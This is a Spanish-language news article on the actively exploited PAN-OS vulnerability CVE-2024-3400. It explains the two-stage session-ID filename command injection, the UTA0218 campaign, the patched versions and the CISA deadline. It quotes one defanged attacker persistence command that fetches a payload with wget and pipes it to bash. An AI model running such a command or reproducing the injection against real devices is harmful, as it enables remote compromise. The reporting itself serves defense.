Palo Alto Networks ha proporcionado más información sobre una grave vulnerabilidad de seguridad que afecta a PAN-OS y que está siendo activamente explotada en el mundo real por actores malintencionados.

La empresa describió la vulnerabilidad, conocida como CVE-2024-3400 (puntuación CVSS: 10.0), como «compleja» y una combinación de dos errores en las versiones PAN-OS 10.2, PAN-OS 11.0 y PAN-OS 11.1 del software.

> *«En el primero, el servicio GlobalProtect no validaba adecuadamente el formato del ID de sesión antes de almacenarlo. Esto permitió al atacante almacenar un archivo vacío con el nombre de archivo elegido por él»,* explicó Chandan B. N., director senior de seguridad de productos en Palo Alto Networks.
>
> *«El segundo error (confiando en que los archivos eran generados por el sistema) utilizaba los nombres de archivo como parte de un comando».*

Es importante tener en cuenta que aunque ninguno de los problemas es lo suficientemente crítico por sí solo, cuando se combinan, podrían resultar en la ejecución remota no autenticada de comandos de shell.

Palo Alto Networks informó que el actor de amenazas detrás de la explotación zero-day de la vulnerabilidad, UTA0218, llevó a cabo un ataque de dos etapas para lograr la ejecución de comandos en dispositivos vulnerables. Esta actividad se está monitoreando bajo el nombre de Operación MidnightEclipse.

Como se reveló previamente tanto por Volexity como por la división de inteligencia de amenazas Unit 42 de la propia empresa de seguridad de red, esto implicaba enviar solicitudes especialmente elaboradas que contenían el comando a ejecutar, el cual luego se ejecutaba a través de una puerta trasera conocida como UPSTYLE.

> *«El mecanismo de persistencia inicial establecido por UTA0218 involucraba configurar un trabajo cron que usaría wget para obtener un payload desde una URL controlada por el atacante, cuya salida se escribiría en stdout y se enviaría a bash para su ejecución»,* señaló Volexity la semana pasada.
>
> *«El perpetrador empleó este método para desplegar y ejecutar comandos específicos y adquirir herramientas de proxy inverso como GOST (GO Simple Tunnel).»*

Unit 42 informó que no ha podido determinar los comandos ejecutados mediante este mecanismo: *wget -qO- hxxp://172.233.228[.]93/policy | bash*. Sin embargo, evaluaron que el implante basado en trabajos cron probablemente se utiliza para realizar actividades de post-explotación.

> *«En la primera etapa, el atacante envía un comando de shell meticulosamente elaborado en lugar de un ID de sesión válido a GlobalProtect. Esto da como resultado la creación de un archivo vacío en el sistema con un comando incrustado como su nombre de archivo, elegido por el atacante»,* explicó Chandan.
>
> *«En la segunda etapa, un trabajo programado del sistema que se ejecuta regularmente utiliza el nombre de archivo proporcionado por el atacante en un comando. Esto resulta en la ejecución del comando proporcionado por el atacante con privilegios elevados.»*

Aunque Palo Alto Networks inicialmente señaló que la explotación exitosa de CVE-2024-3400 requería que las configuraciones del firewall para la puerta de enlace GlobalProtect o el portal GlobalProtect (o ambos) y la telemetría del dispositivo estuvieran habilitadas, la empresa ha confirmado desde entonces que la telemetría del dispositivo no tiene impacto en

el problema.

Esto se basa en nuevos descubrimientos de Bishop Fox, que encontró formas de explotar la vulnerabilidad de manera que no requería que la telemetría estuviera habilitada en un dispositivo para infiltrarse en él.

La compañía también ha ampliado las correcciones para la vulnerabilidad más allá de las versiones principales durante los últimos días para incluir otras versiones de mantenimiento comúnmente implementadas:

- PAN-OS 10.2.9-h1
- PAN-OS 10.2.8-h3
- PAN-OS 10.2.7-h8

- PAN-OS 10.2.6-h3
- PAN-OS 10.2.5-h6
- PAN-OS 10.2.4-h16
- PAN-OS 10.2.3-h13
- PAN-OS 10.2.2-h5
- PAN-OS 10.2.1-h2
- PAN-OS 10.2.0-h3
- PAN-OS 11.0.4-h1
- PAN-OS 11.0.4-h2
- PAN-OS 11.0.3-h10
- PAN-OS 11.0.2-h4
- PAN-OS 11.0.1-h4
- PAN-OS 11.0.0-h3
- PAN-OS 11.1.2-h3
- PAN-OS 11.1.1-h1
- PAN-OS 11.1.0-h3

Ante el abuso activo de CVE-2024-3400 y la existencia de un código de explotación de prueba de concepto (PoC), se recomienda a los usuarios que tomen medidas para aplicar las correcciones lo antes posible para protegerse contra posibles amenazas.

La Agencia de Seguridad Cibernética e Infraestructura de los Estados Unidos (CISA) también ha incluido esta falla en su catálogo de Vulnerabilidades Conocidas Explotadas (KEV), instando a las agencias federales a asegurar sus dispositivos para el 19 de abril de 2024.

Según información proporcionada por la Fundación Shadowserver, aproximadamente 22,542 dispositivos de firewall expuestos en Internet podrían estar vulnerables al CVE-2024-3400. La mayoría de estos dispositivos se encuentran en Estados Unidos, Japón, India, Alemania, Reino Unido, Canadá, Australia, Francia y China hasta el 18 de abril de 2024.